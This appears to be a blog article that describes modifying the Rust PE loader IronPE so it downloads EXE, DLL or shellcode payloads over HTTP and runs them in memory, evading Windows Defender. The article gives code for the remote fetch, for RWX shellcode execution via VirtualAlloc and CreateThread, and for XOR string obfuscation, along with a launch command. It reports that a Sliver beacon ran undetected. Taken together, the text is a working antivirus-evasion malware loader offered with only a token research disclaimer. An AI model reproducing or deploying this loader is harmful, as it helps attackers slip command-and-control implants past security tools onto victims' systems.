IronPE Modification for In-Memory PE Loading to Bypass Defender
A modified version of IronPE enables loading PE files (EXE or DLL) via HTTP/HTTPS directly into memory, bypassing disk writes. This evades Windows Defender's static analysis by leaving no artifacts on the file system. The Rust implementation uses manual mapping with dynamic import resolution and string obfuscation.
IronPE was originally designed to demonstrate PE loading mechanisms without standard APIs like CreateProcess or LoadLibrary. This modification adds network-based payload loading and shellcode support while maintaining legitimate WinAPI calls.
Key Code Changes
HTTP Loading with reqwest
To retrieve the PE file from the network, a blocking reqwest client is integrated, featuring a browser-mimicking User-Agent and a 120-second timeout.
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
Execution: ./ironpe --x64 http://server/payload.exe. Bytes are loaded into memory without saving to disk.
Shellcode Support
The --shellcode mode allocates RWX memory via VirtualAlloc and copies bytes there for direct execution. Suitable for stagers like Sliver.
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
Dynamic Import Resolution
The IAT is minimized: all functions (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) are resolved at runtime. There are no static references to injection or LSASS access, reducing detection.
String Obfuscation
DLL and function names are stored as XOR-encrypted bytes. Decryption occurs only during execution.
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);
Static Analysis Evasion Mechanisms
This technique works on Windows 11 25H2 with active Defender (real-time, cloud). Key factors:
- No Disk: The payload (~30 MB Sliver beacon) is not saved.
- Legitimate APIs: VirtualAlloc, LoadLibrary, etc. — standard for installers.
- Empty IAT: Dynamics hide suspicious calls.
- Rust: Rare in malware, fewer YARA rules.
- Network Stage: The payload is unknown to the static scanner.
Advantages and Limitations
| Aspect | Original IronPE | Modification |
|--------|-----------------|-------------|
| Loading | Local file | HTTP/HTTPS |
| Shellcode | No | Yes, RWX |
| IAT | Partially dynamic | Fully dynamic |
| Strings | Plaintext | XOR obfuscation |
| Defender Detection | Possible | Static bypass |
In testing on a VPS with a Python server (port 8081), a Sliver session launched without Defender notifications.
Key Points:
- Manual mapping + HTTP eliminates file signatures.
- Dynamic imports minimize static footprint.
- Rust reduces signature risk but not behavioral.
- Requires refinement for EDR with AMSI/ETW monitoring.
- For security research only.
— Editorial Team
No comments yet.